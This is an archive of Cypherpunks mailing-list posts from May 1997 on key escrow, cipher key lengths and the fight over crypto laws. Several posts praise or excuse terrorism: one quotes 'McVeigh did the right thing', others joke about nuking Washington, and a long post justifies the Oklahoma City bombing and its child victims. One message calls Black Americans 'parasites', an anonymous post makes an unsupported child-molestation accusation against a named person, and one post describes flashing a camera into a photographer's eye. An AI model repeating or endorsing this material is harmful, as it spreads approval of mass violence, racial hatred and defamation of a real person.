[Caveat:  I am not a cryptographer.]

[...]
> 
> Still, these are areas that I wish c'punks would start looking at again.

Unfortunately, c'punks seems bogged down in macho fantasies about guns.

> Even if strong unforfeited crypto is legal in the U.S., it will not be in
> other countries for quite some time.
> 
> There is strength in numbers, not just safety.  The more crypto users
> there are, the less government, or anyone else, can do about it.

Hence the value of the "Crypto is Cool" approach.  A valuable addition
would be crypto packages designed for high school kids.  All my many
nieces and nephews are on the net...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 11 May 1997 06:06:14 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Disinformation in L.A.
In-Reply-To: <ie1H7D14w165w@bwalk.dm.com>
Message-ID: <199705102146.QAA17224@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III" <whgiii@amaranth.com> writes:
> > I wouldn't be suprised if your analysis was correct. The orientals seem to
> > be quite hated by the inter city blacks as they are a constant reminder
> > that minorities can thrive and prosper in America (the only color that
> > really matters here is green dispite what some would have you think).
> 
> I would generalize this statement: the vast majority of U.S. blacks
> (whether the inner city parasites or the parasites employed by the
> federal/state/local gubmints) extremely hate all successful immigrants,
> whether orientals or Russian Jews. So do many non-black Americans.

also, many sovok immigrants hate blacks

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sun, 11 May 1997 06:39:09 +0800
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: The War is Underway (fwd)
Message-ID: <Pine.SUN.3.96.970510181630.9012N-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 10 May 1997, Adam Back wrote:

> 
> Tim May <tcmay@got.net> writes:
> > However, while we may think their power is gone, or is almost gone, they
> > think otherwise. And we're seeing an accelerating pace of lawmaking, [...]

[The fork in the road is discussed]

> > Who will actually win?
> > 
> > I think we will. They think they will. The war is underway.
> 
> So what are we doing to fight our side?  (Apart from fantasizing
> about nuking the bastards till they glow :-)
>
> So what can cypherpunks do?
> 
> Write code?

Yes.  One of the major stumbling blocks I have run into is a lack of code
which really is refined and reviewed enough to serve the purposes I need
it to serve.  FC97 did a lot to make some more obscure things obvious, and
familiarize the players with each other, but the details are often hard to
come by.  Many of the applications out there are painfully behind in
interface areas forcing developers to use complicated "toolkits" which
often lack the basics we need. Finding an analogy to easily explain even
the basics to a customer is very difficult unless the front end jibes with
the attempt.

The amount of confusion over what represents a good algorithm is also
interesting.  Take CAST, which seems a promising cipher and which we
considered using over IDEA.

On asking 4 "experts" about CAST, I got 4 answers.

1>  A 64 bit cipher with 40 bits secret.
2>  A 64 bit cipher - not expected to be very complete.
3>  A 128 bit cipher.
4>  "Not worth discussing."

In fact, as I understand it, CAST is of variable key length (Up to 128
bits), and quite resistant to many attacks which plague DES and even IDEA.

But digging out that information was painfully difficult.  (It may not
even be correct).

> Perhaps it's time for some stego interfaces to remailers.
> 
> Usually around this time Black Unicorn gives us his wish list of
> crypto anarchy apps.  I'm not sure we've progressed much towards his
> wish list since the last time he posted it.

Most of what concerns me is the need to keep keylengths "obscenely large"
because what is obscene today may not be so obscene after 5 years of
chilled crypto development.

Given the success (or lack thereof) of my call to arms before, I'm not
sure I'll be anxious to repeat it soon.  (The largest keylength of any
widely used cipher of which I am aware remains at 128.  There still is no
effective PipeNet, no real mainstream "stealth crypto."  No significant
work on detering traffic analysis or denial of service with the exception
of the below).

> I thought the Eternity Service I announced a week or so ago was a step
> towards reducing the possibility for government censorship of web pages.
> (http://www.dcs.ex.ac.uk/~aba/eternity/) Not much interest to date.
> Ideas stand on their merit, but the success of crypto anarchy services
> also depends on ease of use, funding, volunteer effort, publicity, and
> evangelizing.  I haven't done much of the latter yet lacking an
> example server to bootstrap the system, I hope to have this up in a
> few weeks.

Hearty kudos.

An online bank is useless if it can be blocked by a few keystrokes.

(But that's what secure INMARSAT phones are for too)

Still, these are areas that I wish c'punks would start looking at again.
Even if strong unforfeited crypto is legal in the U.S., it will not be in
other countries for quite some time.

There is strength in numbers, not just safety.  The more crypto users
there are, the less government, or anyone else, can do about it.

C'punks should wish to provide clandestine crypto services for the entire
population.  Laws which may or may not pass in the United States should
bore c'punks, because they should realize that legislation is irrelevent
because the genie is already out of the bottle.  Unfortunately, I don't
think the genie is all the way out of the bottle.


NOTE:  I'm not on cypherpunks anymore, mail me directly for replies.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Sun, 11 May 1997 07:31:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Political action and cypherpunks
Message-ID: <97051023213149/0005514706DC3EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Given the recent comments on cypherpunks, I thought I would point out
a potentially useful resource:

http://www.geocities.com/CapitolHill/4843/

It might give the more 'political action' minded some useful ideas.

MW

Hierarchical organizations of all sorts orient around a monopoly. That
monopoly may be of force (as in 'gunpowder empires'), information
(particularly in intelligence organizations), command (as in military or
political structures), benefit (family or religious structures, where the
hierarchical control comes from the ability to dispense food, wealth,
etc.), interpretation (as in the Soviet State, which was the arbiter of
the dialectic), etc. Monopoly reservation or control of some resource
automatically equates to a dependency. What does this say about the
battle to control cryptography?

This is my PGP key; there are many like it, but this one is mine:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzKfDM8AAAEEANn6IkHPSVLZS+z74L50to0yKIPyBD1620wvo28N9hZwVdaK
w7NvAAbX37NPfmTAikqQyN38AB22h8+LQw6tKJQFMBFCz6slGPlRmgMOmELZQZ0w
TO7NtPVpHqoe5nywd4msZr+VPFu0SuG7EWq57v/H8LG8PglvgLXwnqtr0xcZAAUT
tCRNaWNoYWVsIFdpbHNvbiA8NTUxNDcwNkBtY2ltYWlsLmNvbT4=
=wMsF
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 11 May 1997 02:33:58 +0800
To: kent@songbird.com
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <199705101819.TAA01030@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> > At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> > >I was saying that if Sam needs to read my encrypted file/mail, then
> > >I should list Sam as a crypto-recipient.  If Acme,Inc. needs to read
> > >my encrypted file/mail, then I should list Acme,Inc. as a
> > >crypto-recipient.
> > >
> > >There's no safe of keys.  It's even simpler to explain to an executive.
> 
> Unfortunately, it doesn't solve the problem at all.  In fact it
> doesn't even address the problem.  So much so that reading these
> replies makes me think that I am looking at different problem than
> you. 

It seems to me that it is you Kent who is scrambling to find plausible
reasons why key escrow is the best or only technology to use in
corporate email systems.

> [long analogy to physical locks and keys on company premises]
>
> With this background, perhaps now you can see why I say that Carl's 
> solution doesn't even address the problem.  The problem is management 
> of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> What part of the organization that is Acme Corp is authorized to know 
> this particular bit of information?  Because some of the employees 
> are idiots you want this built automatically into the application 
> they are using for encryption/email/whatever.  How does this software 
> know what policy is appropriate for which employee?  How is that 
> policy distributed?  What is the interface that allows a policy to be 
> defined?   How do you protect the policy definition from subversion?

Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
saying on cryptography@c2, that key escrow has complexity problems,
contrary to what you have previously been arguing :-)

> Contrast that with a key-safe model, where a copy of every encryption
> key is kept in a secure database.  The encryption client software only
> talks to the key-safe when a new key is generated, over a
> cryptographically secure channel, of course.  There is no policy the
> client has to know.  The user encrypts freely without concern about
> who else should get copies.  The organization knows that there is very
> little chance of data loss because of lost keys, and can use any
> policy it chooses to recover keys, from the company president's ad hoc
> whim to a carefully specified organization al security policy. 
> 
> Access to the key-safe is critical, of course, but it can be made 
> very secure -- a special-purpose piece of hardware that requires 
> passwords from n out of m key czars before access is granted, for 
> example.  Or the contents of the key safe can be encrypted via keys 
> escrowed through a secret sharing mechanism

I don't see the difference.  With the encrypt to multiple recipients
approach where the second crypto-recipient is the company key you can
store the private half of the corporate key using the same techniques
you discussed above.

Access to the data requires access to the master key in both cases.

You fix the second crypto-recipient in the MUA if you wish to.  The
fire-wall can reject posts without the second crypto-recipient.  You
can use binding cryptography to ensure the fire-wall can tell that it
is an encrypted copy of the same document without the firewall needing
access to the master key.  You can't do this company has all keys in
the safe model, without givin the firewall automatic access to the
safe, which is a huge security risk.

So, I suppose you would argue that oh no, the user can by pass this
feature of the MUA, they can use a different MUA, or telnet to the
SMTP port manually.

Well, you know, people can bypass keys which are stored in the company
safe also: don't use them!

They can also walk out of the building with a floppy, store info in
their heads, or use any number of subliminal channels that abound in
crypto and internet protocols.

The advantage of the multiple recipient model is that doesn't commit
the cardinal sin/design flaw of sharing private crypto keys.

Some people have argued that multiple recipient is less suited to GAK,
and therefore it would be better to use multiple recipient, I'm not
sure that it makes that much difference.  If we get forced to put the
government as the second crypto-recipient recipient, the government
still gets to read all your mail.

The main argument against company generates all keys, company holds
all keys, to me is that it's bad crypto design.

The `it's easier to explain a safe full of all employee keys' to
management argument is nonsense also.  It's a master key either way
and just as easy to explain either way: a master key is a key that
lets you decrypt all mail.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 11 May 1997 08:34:13 +0800
To: devnull@manifold.algebra.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
Message-ID: <199705110023.TAA19163@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Duncan Frissell wrote:
> On Sat, 10 May 1997, Kent Crispin wrote:
> 
> > I would expect a "cypherpunk riot" to be a little more aimed at 
> > cyberspace than real-world suburban neighborhoods.  Wouldn't you?
> 
> Tim was mostly talking about nuking the District of Columbia.  You will
> note that that is an artificial community filled entirely with politicians
> and their sycophants.  It is sort of like the train that Ayn has blow up
> in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
> there. (Well a few tourists and Ethiopian immigrants who don't know better
> but you can't win 'em all.)  Note also that he is hoping others will do
> the deed.  He's not volunteering. 
> 
> There will be a few unfortunate explosions in the world over the next few
> years so I'm sure Tim is just hoping for a beneficial target selection.

Duncan, it is doubtful that there is any member of this mailing list, at
least of those whom I have seen posting, who will dare to raise his fat
ass and blow something up.

The "radicals" are mostly sitting and waiting for something dramatic to
happen, preferably as far from their nice houses and bank accounts as
possible.

Jim Bell might be an exception, but I would not bet on him.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 11 May 1997 07:35:55 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 10 May 1997, Kent Crispin wrote:

> I would expect a "cypherpunk riot" to be a little more aimed at 
> cyberspace than real-world suburban neighborhoods.  Wouldn't you?

Tim was mostly talking about nuking the District of Columbia.  You will
note that that is an artificial community filled entirely with politicians
and their sycophants.  It is sort of like the train that Ayn has blow up
in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
there. (Well a few tourists and Ethiopian immigrants who don't know better
but you can't win 'em all.)  Note also that he is hoping others will do
the deed.  He's not volunteering. 

There will be a few unfortunate explosions in the world over the next few
years so I'm sure Tim is just hoping for a beneficial target selection.

DCF 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 11 May 1997 08:02:00 +0800
To: cypherpunks@cyberpass.net
Subject: Intel for the War Underway
Message-ID: <1.5.4.32.19970510234723.0070b968@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The May 10 Economist has a special survey of
global electronic commerce.

It's a timely piece of battlespace intelligence for Tim's 
"war underway."

It pinpoints financial soft target CyberPromos receiving 
favorable crypto treatment by the world's governments
to manage the Net.

Eric Hughes is featured in its analysis of the birth 
or death struggle of digital cash -- the key battle,
if you will, of breaking the global banks and ranks 
of centralized information.

A battle underway in the US by the TLAs, the Key 
Recovery Alliance and the ABAs of the banks and the 
lawyers aiming for supremacy -- domestic and global --
by managing ever-thinning wallets.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 11 May 1997 09:05:37 +0800
To: cypherpunks <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970510181630.9012N-100000@polaris.mindport.net>
Message-ID: <Pine.LNX.3.95.970510192350.2999A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 10 May 1997, Black Unicorn wrote:

> The amount of confusion over what represents a good algorithm is also
> interesting.  Take CAST, which seems a promising cipher and which we
> considered using over IDEA.
> 
> On asking 4 "experts" about CAST, I got 4 answers.
> 
> 1>  A 64 bit cipher with 40 bits secret.
> 2>  A 64 bit cipher - not expected to be very complete.
> 3>  A 128 bit cipher.
> 4>  "Not worth discussing."
> 
> In fact, as I understand it, CAST is of variable key length (Up to 128
> bits), and quite resistant to many attacks which plague DES and even IDEA.
> 
> But digging out that information was painfully difficult.  (It may not
> even be correct).

According to _Applied Cryptography_, CAST is a Feistel cipher with a 64-bit
block length and 64-bit key length.  So far, brute force is the only known
attack.

As far as "obscenely large" key lengths are concerned, 3-key triple DES
uses a 168-bit key.  This is used in many crypto packages, including
export-controlled Netscape, and is being considered as a replacement for
DES in the U.S.  Triple DES will probably also be supported in the next
version of PGP.  Blowfish supports keys as long as 448 bits and RC4
supports keys up to 2048 bits.  The problem with variable length ciphers
is that programs that use them to not actually take advantage of variable
keys and just stick to using keys of a fixed, and small, size.

Using large key sizes for passphrase-based systems is difficult, because
it's just too difficult to remember a passphrase with enough entropy to
make a difference.  Assuming a random passphrase with 6 bits of entropy
per character, over 21 characters would have to be used for there to be
128 bits of entropy.  Systems that use randomly generated keys are
limited only by the amount of available entropy, but then the passphrase
security to encrypt the secret key or physical security become important.
Using excessively long keys does not do much for security, as there are
always going to be weaker links that an attacker can take advantage of.
It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
good, either.



Mark
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mrMlQcVBH6A4J5iJQJcEfoKN9p+rZA/Rl5FjApWFG3cVMxq0ZXGjZg==
=eI9X
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 11 May 1997 02:14:21 +0800
To: cypherpunks@toad.com
Subject: Certified primes
Message-ID: <199705101759.TAA01604@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Timothy May's propensity to molest little children, is it any 
surprise that the state of California wants to have him castrated?

       /\ o-/\  Timothy May
      ///\|/\\\
     /   /|\   \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 11 May 1997 05:25:38 +0800
To: tcmay@got.net
Subject: Re: The War is Underway
In-Reply-To: <v0300780baf9a702c49fe@[207.167.93.63]>
Message-ID: <199705101907.UAA01415@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> However, while we may think their power is gone, or is almost gone, they
> think otherwise. And we're seeing an accelerating pace of lawmaking, [...]
> 
> This is the "race to the fork in the road" I have long talked
> about. The future will be pulled between two attractors, with
> essentially no middle ground (just as there is no middle ground in
> cryptographic security, like pregnancy). At one side lies a
> surveillance state, [...] At the other side lies crypto anarchy,
> [...]
>
> The bureacrats believe more and more repressive laws will control
> troublemakers.
> 
> Who will actually win?
> 
> I think we will. They think they will. The war is underway.

So what are we doing to fight our side?  (Apart from fantasizing
about nuking the bastards till they glow :-)

They seem to be able to keep many people busy just reacting to the
stupid laws and proposed laws.  They can propose laws pretty fast
whilst on their all expenses paid (by us) corrupt political games.
Whoring to corporate and intelligence special interests, and power
grabbing for job security as the malignant growth that is government
heads towards > 50% body mass.

So their tactic seems to be to bring out laws at an accelerating rate.
And to send the crypto facist Aaron around bullying other countries.
If some of these laws actually pass, we're in deep shit.  They're
actually talking about restricting imports, making it a crime to use
crypto, mandatory key escrow (US, Clipper XXIII, I've lost count),
licenses for encryption services (UK, TTPs).  Somehow I don't think
SAFE will pass (either with or without the crypto crime clause), if
anything does get passed it will be so perverted as to be hugely
negative for our purposes.  Maybe some of the draconian stuff is not
expected to stand a chance of passing and is just there for bargaining
purposes.  Regardless, we can't expect any favours from laws, or
politicians.

So what can cypherpunks do?

Write code?

Perhaps it's time for some stego interfaces to remailers.

Usually around this time Black Unicorn gives us his wish list of
crypto anarchy apps.  I'm not sure we've progressed much towards his
wish list since the last time he posted it.

I thought the Eternity Service I announced a week or so ago was a step
towards reducing the possibility for government censorship of web pages.
(http://www.dcs.ex.ac.uk/~aba/eternity/) Not much interest to date.
Ideas stand on their merit, but the success of crypto anarchy services
also depends on ease of use, funding, volunteer effort, publicity, and
evangelizing.  I haven't done much of the latter yet lacking an
example server to bootstrap the system, I hope to have this up in a
few weeks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Helton <rlhelton@ares.csd.net>
Date: Sun, 11 May 1997 10:41:54 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <3.0.32.19970510202852.006a2624@ares.csd.net>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks-request





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 11 May 1997 11:31:35 +0800
To: cypherpunks@toad.com
Subject: War & InfoWar
Message-ID: <199705110311.VAA20026@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc wrote:

> Lately Tim has been making extremely dramatic death statements:   "Kill
> them all...they are unworthy of life.", "... I
> pray for the deaths of these criminals.",  "Washington is a cancer than can
> only be cured with a few megatons of
> nuclear disinfectant.", "May they all be vaporized.", etc.
> 
> These are definitely dark in mood and understandable; I also have violently
> negative & despairing emotions about these people.   I just wouldn't ever
> think of involving those who are innocent bystanders and happened to be in
> the wrong place at the wrong time.

  Of course, you have your own definintion of innocenent bystanders,
while others may have different definitions.
  Is someone who is in the military because of forced enscription at
the point of a gun (with threats of imprisonment if they refuse) an 
innocent bystander? When an invading force attacks your home, do you
only shoot back at those who are there willingly?
  How about those who willingly process and uphold the atrocities
which the government commits upon its citizens? (Those who don't turn
on the gas, but merely put them in the ovens {because the paperwork
all seemed to be in order}.)

  Were the children in the daycare center at the Federal Building
at OK city innocent bystanders?
  Then why, pray tell, did the government allow them to be placed
in a building which was known to be a prime target of anti-government
paramilitary idealists? Were they being used as a "shield" in the
hopes that their presence would protect the others? Or were they
there in order to provide sensational fodder for government response
to the inevitable?
  History bulges with examples of governments using their citizens
as human shields by placing armament factories in residential areas
and there are a multitude of other examples of government disregard
for the lives of their citizens.
  The government has prosecuted dozens of individuals for planning
to bomb the OK city Federal Building (including executed murderers).
It has long been listed as a target of choice for anti-government
paramilitarists. For the government to deny culpability in children
being present at the bombing reeks of hypocrisy.

> I know that critical times call for critical action, but I just don't
> expect from anarchist libertarian cypherpunks that they would "throw
> caution to the wind" (so to speak) and forget how to think about events and
> actions in terms of specifics and utter precision.

  The fact of the matter is that the government has declared war
on the freedom and liberty of its citizens and passed draconian
laws which prevent citizens from defending themselves from 
government oppression. The government protects those participating
in its crimes from having to pay a price for their complicity.
  The government has a ruinous effect on the lives of millions
of its citizens daily and is responsible for a mountain of deaths
of "innocent people." Those taking part in the process should be
made aware that there is a price to pay for their actions.

  Should the Allied war against Nazi Germany have not taken place
because "innocent" lives would be lost? Should the French Freedom
fighters not have fought to free their country from occupation
because "innocent bystanders" would die in the process?
  Timothy McVeigh's position in history will likely belong in the
hands of the winner of the war between the government and its
citizens, but he is already considered a freedom fighter by more
people than the government would like to admit. He has issued a
wake-up call for those who think that they can remain nameless 
and faceless in their complicity with government atrocities.

  While I would have chosen a different approach and target for
an attack, I will not pass moral judgement on McVeigh's actions.
That is between himself and his conscience.
  Tim McVeigh at least had the fortitude to act on his outrage
over what he perceived as government injustice. What did others
do over the outrageous tragedy at Waco? Mostly they just turned
their heads away and tried to pretend that our government is not
a murderer of men, women and children.
  How many government employees quit in outrage, stating that
they would not take part in such atrocities? How many took a
vocal moral stand against their superiors, or exposed the
government duplicity involved in the police action?

  Nobody who turns their head is "innocent" and they cannot avoid
their own responsibility if they choose to place their children
in the line of fire as a result of their participation in crimes
against the citizens.
  Given the wide knowledge of the OK city Federal Building being
a known target of anti-government forces, I think the placing of
a daycare center there was the equivalent of military forces who
cowardly advance with women and children in front of them. (And
there are ample examples of this in history.)

  Those in government express outrage at the barbarity of an
individual citizen attacking his oppressors, but apparently are
not outraged enough to stop their oppression.
  The fact is that we have a police state whose power and abuse
of power are growing by leaps and bounds because there has been
no realistic amount of accountability attached to their actions.
  This is an unnatural state of affairs and one that human nature
will correct. When things become too far out of balance, then
the universal laws of nature correct the situation. I believe that
the dinosaurs learned this lesson, as well.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 11 May 1997 11:26:52 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Wine Politics Again! (fwd)
In-Reply-To: <199705110207.EAA12477@basement.replay.com>
Message-ID: <Pine.BSF.3.91.970510214728.2692C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


> 
> It should go without saying that this is a classic case of a dumb bill,
> being passed to serve the special interest of liquor store owners.

This bill is probably a good idea; less tourists getting shot by hoodlums 
wasted on mail-order designer hooch ...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 11 May 1997 13:57:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <v0302098baf98c132e204@[139.167.130.248]>
Message-ID: <3.0.1.32.19970510215552.00aa4650@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:26 PM 5/9/97 -0800, Tim May wrote:
>At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
>>--- begin forwarded text
>>
>>
>>X-Sender: mcooley@pop.tiac.net
>>Date: Thu, 08 May 1997 22:25:28
>>To: dcsb@ai.mit.edu
>>From: Marianne Cooley <mcooley@nethorizons.com>
>>Subject: Wine Politics Again!
>:
>>Hello friends of the Virtual Vineyards and family wineries. Remember the
>>felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
>>Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
>>jail. Amazing.
>...
>
>Thanks, Marianne and Bob, for the news.
>
>I am shipping a few bottles of California's finest merlot (much nicer that
>the trendy cabernets) to my sister and her husband in Hollywood, FL.
>
>Always nice to poke a sharp stick in the eyes of the fascists while also
>adding to my list of felonies (should I ever again enter Florida, which
>seems doubtful, at least not for a while).
>
>Chiles and his co-conspirators should be shot for high crimes against the
>Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
>
>Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that.

Florida is just following the lead of Kentucky (I am not sure of the state. 
Check the Wall Street Journal from last Thursday or Friday.) that has also
made shipping alcohol by mail a felony.  Seems the local distributors have
been having a fit about companies like Liquor By Mail cutting into their
monopoly.

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tU51hFqBJu2vPpp78XTOn6sdb+h/Xy58vG9FOV1vUtXlqMnYAtGwYA==
=DZo0
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sun, 11 May 1997 13:09:39 +0800
To: Kent Crispin <kent@songbird.com>
Subject: timmy has finally lost it
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: <199705110501.WAA17736@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



kC on TCM:
>
>"May they all be vaporized."
>
>"Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that."
>

yeah, I've noticed that TCM is really uptight lately and has been way off
the scale (more so than usual) on the "panty-knot" scale. what gives,
Tim? I think the situation is mostly he's so upset that congress is
discussing bills with the words "crypto" in them, which is apparently
enough to make him cringe with terror.

when the CDA was being passed, I think his hemor^h^h^h rhetoric
swelled up then too as well. but look at what happened with the
CDA-- it got challenged, killed by lower courts, 
and is stuck in the supreme court, likely
to be struck down there too. far from the end of the world forecast
by some here.

the congressional crypto bills are generally a good thing, because
they are increasing public awareness of the issue. any bill that
is not fair or just is likely to be tested in the courts, and if
our system is beyond an orwellian tyranny, will be struck down.
do we have a constitution or not? if so, we have nothing to worry
about. (of course, I am not advocating doing nothing, but I am
advocating not panicking or calling for the "vaporization of washington"..)

there might actually be an advanteage in a very orwellian bill
*passing*. if it is struck down, perhaps no legislator would ever
try again, and those that tried would have their reputations marred
with widescale public infamy.

TCM is terrified by virtually anything that happens in govt, which is 
amusing and comical at times.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 11 May 1997 13:53:34 +0800
To: "Brian C. Lane" <nexus@eskimo.com>
Subject: Re: Camera Hacking
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <3.0.1.32.19970510220245.00a90240@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:44 PM 5/9/97 -0700, Brian C. Lane wrote:
>On Thu, 1 May 1997, geeman wrote:
>
>> have an effect on people's behavior with respect to what they say, whom
>> they associate with, 
>> the clothes they wear, the thoughts they think...
>> 
>> How do you hack a camera?
>
>  Splatball (paintball) gun should do the trick.

The best weapon against a 35mm camera is a flash from a camera.  Aim at the
lens and fire.  (Only if they are looking through it.)  The screams are
worth it.  (One of the few joys of my high school photography class.)

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 11 May 1997 13:46:29 +0800
To: cypherpunks@algebra.com
Subject: Re: Wine Politics Again! (fwd)
In-Reply-To: <199705110207.EAA12477@basement.replay.com>
Message-ID: <3.0.1.32.19970510222708.00a78c80@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:07 AM 5/11/97 +0200, A. Michael Froomkin wrote:

>It ill behooves participants in a democracy to either advocate or even
>tolerate or even cluck sympathetically at mass murder for political ends. 
>This way lies Bosnia.

I suggest making them look like fools.  It allows public opinion to turn
against the fascists without them having murder or mayhem as a scapegoat. 
There is nothing the greyfaces hate more than laughter.

They have forgotten that "The imposition of order equals the escalation of
disorder".

Now is the time to hack the media.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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VrJSRoCISh2LSfj38jhJMZEQzsqMsqha8o2CRyaav1ltsiVa2vCyEg==
=Tef9
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





